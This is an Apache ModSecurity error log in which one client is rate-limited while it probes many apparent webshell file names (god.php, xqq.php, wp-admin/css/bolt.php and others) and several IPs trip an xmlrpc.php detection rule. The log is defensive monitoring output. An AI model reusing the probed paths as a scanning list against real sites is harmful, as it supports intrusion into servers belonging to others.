[Thu Feb 26 21:22:04.362381 2026] [:error] [pid 44444:tid 44465] [client 20.220.189.106:4090] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaBI_G2sMNmj-yekUk0jAgAAAg8"]
[Thu Feb 26 21:22:04.785312 2026] [:error] [pid 55051:tid 55068] [client 20.220.189.106:3976] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/work.php"] [unique_id "aaBI_AmK1w2kZvh5eLGukgAAAI4"]
[Thu Feb 26 21:22:05.244600 2026] [:error] [pid 55051:tid 55056] [client 20.220.189.106:4056] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/work.php"] [unique_id "aaBI_QmK1w2kZvh5eLGumAAAAII"]
[Thu Feb 26 21:22:05.742768 2026] [:error] [pid 44444:tid 44450] [client 20.220.189.106:3969] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/work.php"] [unique_id "aaBI_W2sMNmj-yekUk0jCQAAAgA"]
[Thu Feb 26 21:22:06.178046 2026] [:error] [pid 3883:tid 3893] [client 20.220.189.106:4004] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/work.php"] [unique_id "aaBI_uA33x90V6yYHajp6gAAAUc"]
[Thu Feb 26 21:22:06.589958 2026] [:error] [pid 20419:tid 20430] [client 20.220.189.106:3985] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaBI_u3DVDvMfTYYUBVXSgAAAcg"]
[Thu Feb 26 21:22:07.009862 2026] [:error] [pid 44444:tid 44471] [client 20.220.189.106:4062] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaBI_22sMNmj-yekUk0jEAAAAhU"]
[Thu Feb 26 21:22:07.451063 2026] [:error] [pid 55051:tid 55075] [client 20.220.189.106:3995] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaBI_wmK1w2kZvh5eLGuoQAAAJU"]
[Thu Feb 26 21:22:07.862213 2026] [:error] [pid 55051:tid 55057] [client 20.220.189.106:4065] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaBI_wmK1w2kZvh5eLGupQAAAIM"]
[Thu Feb 26 21:22:08.298601 2026] [:error] [pid 55051:tid 55056] [client 20.220.189.106:4048] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaBJAAmK1w2kZvh5eLGurQAAAII"]
[Thu Feb 26 21:22:08.720290 2026] [:error] [pid 55051:tid 55065] [client 20.220.189.106:3992] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaBJAAmK1w2kZvh5eLGutQAAAIs"]
[Thu Feb 26 21:22:09.156594 2026] [:error] [pid 55051:tid 55076] [client 20.220.189.106:4029] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaBJAQmK1w2kZvh5eLGuuQAAAJY"]
[Thu Feb 26 21:22:09.568763 2026] [:error] [pid 55051:tid 55073] [client 20.220.189.106:4067] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaBJAQmK1w2kZvh5eLGuvgAAAJM"]
[Thu Feb 26 21:22:09.987249 2026] [:error] [pid 20419:tid 20428] [client 20.220.189.106:4074] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaBJAe3DVDvMfTYYUBVXTwAAAcY"]
[Thu Feb 26 21:22:10.409931 2026] [:error] [pid 55618:tid 55639] [client 20.220.189.106:4025] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaBJAh61Vrh12f_8oWQMRAAAARI"]
[Thu Feb 26 21:22:10.829838 2026] [:error] [pid 55122:tid 55131] [client 20.220.189.106:4060] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaBJAoLiR0OfjFxvcN8v1QAAAMc"]
[Thu Feb 26 21:22:11.253250 2026] [:error] [pid 55051:tid 55058] [client 20.220.189.106:3981] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaBJAwmK1w2kZvh5eLGuzgAAAIQ"]
[Thu Feb 26 21:22:11.675746 2026] [:error] [pid 55051:tid 55069] [client 20.220.189.106:4030] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBJAwmK1w2kZvh5eLGu0gAAAI8"]
[Thu Feb 26 21:22:12.102449 2026] [:error] [pid 20419:tid 20427] [client 20.220.189.106:3917] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBJBO3DVDvMfTYYUBVXUgAAAcU"]
[Thu Feb 26 21:22:12.533134 2026] [:error] [pid 55618:tid 55645] [client 20.220.189.106:3918] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBJBB61Vrh12f_8oWQMTgAAARg"]
[Thu Feb 26 21:22:12.967001 2026] [:error] [pid 44444:tid 44455] [client 20.220.189.106:3912] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBJBG2sMNmj-yekUk0jMAAAAgU"]
[Thu Feb 26 21:22:13.389912 2026] [:error] [pid 20419:tid 20446] [client 20.220.189.106:3955] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBJBe3DVDvMfTYYUBVXUwAAAdg"]
[Thu Feb 26 21:22:13.821990 2026] [:error] [pid 55618:tid 55640] [client 20.220.189.106:3871] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBJBR61Vrh12f_8oWQMUgAAARM"]
[Thu Feb 26 21:22:14.261947 2026] [:error] [pid 54991:tid 55033] [client 20.220.189.106:3998] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBJBt4Zx-mJ8gbRB2jnhAAAAE0"]
[Thu Feb 26 21:22:14.700666 2026] [:error] [pid 55618:tid 55638] [client 20.220.189.106:4001] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBJBh61Vrh12f_8oWQMVQAAARE"]
[Thu Feb 26 21:22:15.155396 2026] [:error] [pid 55051:tid 55070] [client 20.220.189.106:4050] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBJBwmK1w2kZvh5eLGu2gAAAJA"]
[Thu Feb 26 21:22:15.571903 2026] [:error] [pid 20419:tid 20435] [client 20.220.189.106:3991] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBJB-3DVDvMfTYYUBVXVQAAAc0"]
[Thu Feb 26 21:22:16.014610 2026] [:error] [pid 54991:tid 55028] [client 20.220.189.106:4033] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBJCN4Zx-mJ8gbRB2jnhQAAAEg"]
[Thu Feb 26 21:22:16.441735 2026] [:error] [pid 20419:tid 20437] [client 20.220.189.106:3934] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBJCO3DVDvMfTYYUBVXWAAAAc8"]
[Thu Feb 26 21:22:16.858044 2026] [:error] [pid 54990:tid 55006] [client 20.220.189.106:3982] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaBJCHtr2qmt_mBhH2wpHgAAAA0"]
[Thu Feb 26 21:22:17.278483 2026] [:error] [pid 55051:tid 55060] [client 20.220.189.106:3937] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaBJCQmK1w2kZvh5eLGu3gAAAIY"]
[Thu Feb 26 21:22:17.688050 2026] [:error] [pid 3883:tid 3896] [client 20.220.189.106:4034] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaBJCeA33x90V6yYHajp8gAAAUo"]
[Thu Feb 26 21:22:18.104869 2026] [:error] [pid 3883:tid 3886] [client 20.220.189.106:3972] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaBJCuA33x90V6yYHajp9AAAAUA"]
[Thu Feb 26 21:22:18.519724 2026] [:error] [pid 3883:tid 3902] [client 20.220.189.106:4084] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaBJCuA33x90V6yYHajp-AAAAVA"]
[Thu Feb 26 21:22:18.943664 2026] [:error] [pid 3883:tid 3893] [client 20.220.189.106:4079] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaBJCuA33x90V6yYHajp_AAAAUc"]
[Thu Feb 26 21:22:19.361737 2026] [:error] [pid 3883:tid 3898] [client 20.220.189.106:3986] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaBJC-A33x90V6yYHajqAAAAAUw"]
[Thu Feb 26 21:22:19.789922 2026] [:error] [pid 20419:tid 20438] [client 20.220.189.106:3904] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaBJC-3DVDvMfTYYUBVXZQAAAdA"]
[Thu Feb 26 21:22:20.224180 2026] [:error] [pid 20419:tid 20429] [client 20.220.189.106:3999] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aaBJDO3DVDvMfTYYUBVXawAAAcc"]
[Thu Feb 26 21:22:20.633623 2026] [:error] [pid 20419:tid 20442] [client 20.220.189.106:4000] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aaBJDO3DVDvMfTYYUBVXbQAAAdQ"]
[Thu Feb 26 21:22:21.057544 2026] [:error] [pid 54991:tid 55038] [client 20.220.189.106:4028] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aaBJDd4Zx-mJ8gbRB2jnigAAAFI"]
[Thu Feb 26 21:22:21.503901 2026] [:error] [pid 54991:tid 55035] [client 20.220.189.106:4012] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aaBJDd4Zx-mJ8gbRB2jnjQAAAE8"]
[Thu Feb 26 21:22:21.921468 2026] [:error] [pid 20419:tid 20427] [client 20.220.189.106:4080] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaBJDe3DVDvMfTYYUBVXdQAAAcU"]
[Thu Feb 26 21:22:22.337757 2026] [:error] [pid 44444:tid 44468] [client 20.220.189.106:4026] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaBJDm2sMNmj-yekUk0jQwAAAhI"]
[Thu Feb 26 21:22:22.749346 2026] [:error] [pid 54991:tid 55041] [client 20.220.189.106:4054] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaBJDt4Zx-mJ8gbRB2jnlAAAAFU"]
[Thu Feb 26 21:22:23.170587 2026] [:error] [pid 25311:tid 25327] [client 20.220.189.106:3913] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaBJD9fdM__yZAgJFSvijwAAAY0"]
[Thu Feb 26 21:22:23.636596 2026] [:error] [pid 55051:tid 55066] [client 20.220.189.106:4083] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaBJDwmK1w2kZvh5eLGu5wAAAIw"]
[Thu Feb 26 21:22:24.069383 2026] [:error] [pid 54991:tid 55037] [client 20.220.189.106:4089] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaBJEN4Zx-mJ8gbRB2jnmQAAAFE"]
[Thu Feb 26 21:22:24.537923 2026] [:error] [pid 55618:tid 55635] [client 20.220.189.106:3923] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaBJEB61Vrh12f_8oWQMWAAAAQ4"]
[Thu Feb 26 21:22:24.947298 2026] [:error] [pid 55122:tid 55139] [client 20.220.189.106:3842] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaBJEILiR0OfjFxvcN8v2QAAAM8"]
[Thu Feb 26 21:29:39.773089 2026] [:error] [pid 25311:tid 25324] [client 162.240.22.47:40400] [client 162.240.22.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.22.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBKw9fdM__yZAgJFSvjvgAAAYo"]
[Thu Feb 26 21:34:17.396372 2026] [:error] [pid 54991:tid 55041] [client 50.6.226.221:42378] [client 50.6.226.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.226.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBL2d4Zx-mJ8gbRB2jsLwAAAFU"]
[Thu Feb 26 21:38:33.277758 2026] [:error] [pid 20419:tid 20440] [client 192.176.172.166:38404] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.176.172.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBM2e3DVDvMfTYYUBVa_wAAAdI"]
[Thu Feb 26 21:42:32.001537 2026] [:error] [pid 55051:tid 55056] [client 51.79.82.101:47472] [client 51.79.82.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.82.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBNyAmK1w2kZvh5eLG5HgAAAII"]
[Thu Feb 26 21:46:53.106925 2026] [:error] [pid 3883:tid 3900] [client 157.20.105.176:36114] [client 157.20.105.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.20.105.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBOzeA33x90V6yYHajvPgAAAU4"]
[Thu Feb 26 21:51:23.956463 2026] [:error] [pid 44444:tid 44452] [client 217.217.254.69:60176] [client 217.217.254.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.217.254.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBP222sMNmj-yekUk01IgAAAgI"]
[Thu Feb 26 22:00:25.434701 2026] [:error] [pid 55122:tid 55148] [client 50.6.224.234:58006] [client 50.6.224.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.224.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBR-YLiR0OfjFxvcN8zfgAAANg"]
[Thu Feb 26 22:02:00.122428 2026] [:error] [pid 54991:tid 55041] [client 157.245.196.99:55360] [client 157.245.196.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aaBSWN4Zx-mJ8gbRB2j1xAAAAFU"]
